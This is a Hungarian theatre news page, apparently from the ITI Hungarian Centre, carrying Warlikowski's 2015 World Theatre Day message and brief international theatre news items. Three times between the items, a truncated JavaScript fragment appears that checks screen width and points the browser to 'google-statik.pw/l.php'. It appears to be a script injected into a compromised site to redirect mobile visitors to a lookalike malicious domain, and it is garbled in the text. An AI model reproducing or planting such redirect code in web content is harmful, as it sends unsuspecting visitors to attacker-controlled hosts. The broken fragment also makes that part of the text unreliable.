A Nemzetközi Színházi Intézet Magyar Központjának kiadványa, a Hungaraian Theatre Bulletin legutóbbi száma az alábbi mellékletben tölthető le.

 

Híreink:
Színházi Világnapi Üzenet 2015

Forras: Nemzetkozi Szinhazi Intezet Magyar Kozpontja

 

A szinhaz igaz mestereit a szinpadtol tavol a legkonnyebb megtalalni. Oket nem erdekli az olyan szinhaz, ami gepiesen masolja a konvenciokat es termeli ujra a kliseket. Ok inkabb az impulzusok forrasat keresik, az elo aramlatokat, amelyek gyakran elkerulik a szinhaztermeket es azokat, akik valamifele vilagok utanzasaval bajlodnak. Utanzunk, ahelyett, hogy sajat elmelyult vilagot teremtenenk, ami a kozonseggel folytatott parbeszedre es a felszin alatt aramlo erzelmekre epul, sot, mindez letezesenek feltetele. Hiszen a szinhaznal semmi sem kepes jobban megmutatni a szenvedelyeket.

 

Gyakran a proza mutat iranyt nekem. Nap nap utan olyan irokon tunodom, akik mintegy szaz evvel ezelott leirtak, megjosoltak az europai istenek hanyatlasat, az enyeszetet, ami civilizacionkat idotlen sotetsegbe taszitotta. Franz Kafkara gondolok, Thomas Mannra es Marcel Proustra. De kozejuk sorolom kortarsunkat, John Maxwell Coetzeet is.

 

Kozos bennuk a vilagvege elkerulhetetlen erzese – es itt nem bolygonk megszunesere gondolok, hanem az emberek kozotti kapcsolatok es tarsadalmi rendszer felbomlasara, ami fajdalmas kiserojelensege eletunknek. Mindnyajunk eletenek, akik a vilagveget kovetoen letezunk. Buntenyek es konfliktusok kereszttuzeben, amik gyorsabban robbannak ki, minthogy a mindenutt jelenlevo media tudositasaibol ertesulhetnenk roluk. Ezek a tuzveszek amugy gyorsan unalmassa valnak, es orokre eltunnek a sajtohirekbol, mi pedig tehetetlennek, remultnek, sarokba szoritottnak erezzuk magunkat. Nem vagyunk mar kepesek tornyokat epiteni, a falak pedig - amelyeket megrogzott makacssaggal huzunk fel -, mar nem vedenek meg semmitol, eppen ellenkezoleg, maguk is vedelemre es gondoskodasra szorulnak. Es mindez eletenergiank nagy reszet felemeszti. Mar nincs eronk, hogy eszrevegyuk, mi van a kapuk, a falak mogott. Es eppen ezert kell a szinhaznak leteznie, eppen ebbol kellene meritenie az erejet. Hogy belessen oda, ahova nem szabadna.

 

„A monda a megmagyarazhatatlant probalja magyarazni. Mivel a valosagra epul, ujra megmagyarazhatatlansagban kell vegzodnie.”* - e szavakat, amelyeket Kafka a Prometheuszrol szolo mondak kapcsan fogalmazott meg, en erosen arra vonatkoztatom, milyennek kellene lennie a szinhaznak. Valosagra epulo es ujra a megmagyarazhatatlansagban vegzodo szinhazat kivanok minden munkatarsnak – a szinpadon levoknek, es a nezoteren uloknek egyarant – teljes szivembol.

 

 

Krzysztof Warlikowski

Forditotta: dr. Paszt Patricia


* Tandori Dezso forditasa
if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
Dario Fo darabjai Lille-ben

A 84 eves Dario Fo darabjait nehany ev ota folyamatosan jatsszak a francia szinhazak. Stuart Seide, a Theatre du Nord (Lille) igazgatoja az olasz dramairo harom egyfelvonasosat mutatja be. A darabokat Fo 1976-1983 kozott irta a ferfi-no kapcsolatrol, kizarolag a no szemszogebol nezve. Alice a csodatlan orszagban cimu darabban az ellen-hosno egyfajta kabitoszeres revuletben veti bele magat az elet mindennapi rutinjaba: metro, iroda, sutes-fozes, kozmetikus, alvas.

Read more...
 
Kiosztották az idei Molière-díjakat Párizsban

Aprilis 25-en kiosztottak az idei Moliere-dijakat. A legjobb noi alakitas dijat Dominique Blanc kapta Marguerite Duras: La Douleur-ben (Fajdalom) nyujtott foszerepert. A legjobb ferfi szinesz Laurent Terzieff lett (Ronald Harword: Oltozteto,  Jean-Pierre Simenon: Philoktetesz). Az elozo evekben rettentoen hosszura es unalmasra sikeredtek a dijatado unnepsegek, es ennek koszonhetoen a 2009-ben megrendezett esemeny kozonsege is erosen megcsappant. Ezert iden a dijkioszto galat egy eloadassal kezdtek, amelyet a televizio egyenesben kozvetitett. Patrick Chenais, Christine Murillo foszereplesevel egy Feydeau darabot adtak elo, Jeau-Luc Moreau rendezeseben.

Read more...
 
A brit választások színháza - Edinburgh, Traverse Theatre

Az edinburgh-i Traverse Theatre a 2010-es ev elso partizanakciojara keszul: majus 6-an, eppen a brit parlamenti valasztas napjan mutatja be Gordon Brown: A Life in Theatre cimu produkciojat. A valasztas elotti este Gordon Brown nem tud aludni. Masnap ki kell allnia a nyilvanossag ele, vagy gyozelmet unnepelni, vagy beletorodni a veresegbe. Az ejszaka almokkal terhelt, emlekek rohanjak meg, lepereg elotte egesz addigi politikai karrierje. Vajon megerdemli, hogy nyerjen? Milyen kovetkezmenye lesz, ha veszit? Az eloadas legfontosabb kerdese pedig: mi maradt meg, amirol beszelni lehet, mit lehet meg mondani egyaltalan? A darab szoveget nyolc skot dramaszerzo irja a valasztas heteben, naprakeszen kovetve az esemenyeket.  Az eloadas bemutatojara felolvasoszinhaz formajaban kerul sor a valasztas napjan este, amikor mar az eredmenyek feldolgozasa is lathato lesz a kivetitokon.

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
A Théâtre Vidy-Lausanne két előadása

A svajci szinhaz mindig rendkivul gazdag programot kinal nezoinek, batran vallalkozik uj produkciokra, koprodukciokra vagy hiv meg izgalmas eloadasokat. Majusban a Trafobol is ismert, burleszk szinpadi poeta, James Thierree legujabb alkotasat, a Raoult mutatjak be. A muvesz ezt az eloadasat egy ciklus lezarasanak szanta. Ebben az almok vilagabol a szinpadra pottyant ferfi hadakozik fantasztikus, kepzeletbeli allatokkal. Az eloadas a Wiener Festwohen programjaban is szerepel.

Read more...
 
Nemzetközi symposium a gyerekszínházról

2010. julius 9. es 11. kozott Mulheimben tartjak a Play Young elnevezesu nemzetkozi gyerekszinhaz-symposiumot. A Nina Peters es Andrea Zagorski szervezeseben megvalosulo rendezveny a tortenetmondas aspektusaira koncentral a szinhaz- es a filmmuveszet, valamint az irodalom teruleten. Melyek a gyerekszinhaz legujabb temai, mely dramaturgiai modszerekre tamaszkodik?  A Play Young arra keresi a valaszt, hogy milyen minosegi, esztetikai es kontextualis elvarasaink vannak a dramai szoveggel es a megvalosult eloadasokkal kapcsolatban, ha a kozonseguk hat ev feletti gyerekekbol all.

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
A kanadai Cirque du Soleil Michael Jacksonról készít előadást

A montreali kozponttal mukodo Cirque du Soleil elnoke aprilis 20-an bejelentette, hogy 2012. vegeig ket nagy eloadast hoznak letre, amelyekben a nemregiben elhunyt enekes zenejet, dalait hasznaljak fel. John Branca, az orokosok kepviseloje azt nyilatkozta, hogy „Michael nagy csodaloja volt a Cirque du Soleil-nek". Jackson edesanyja javasolta, hogy az orokosok kossenek szerzodest a cirkusszal, mert tudott fianak arrol a terverol, hogy dolgozzon veluk.

Read more...
 
<< Start < Prev 1 2 3 4 5 6 7 8 9 10 Next > End >>

Page 4 of 13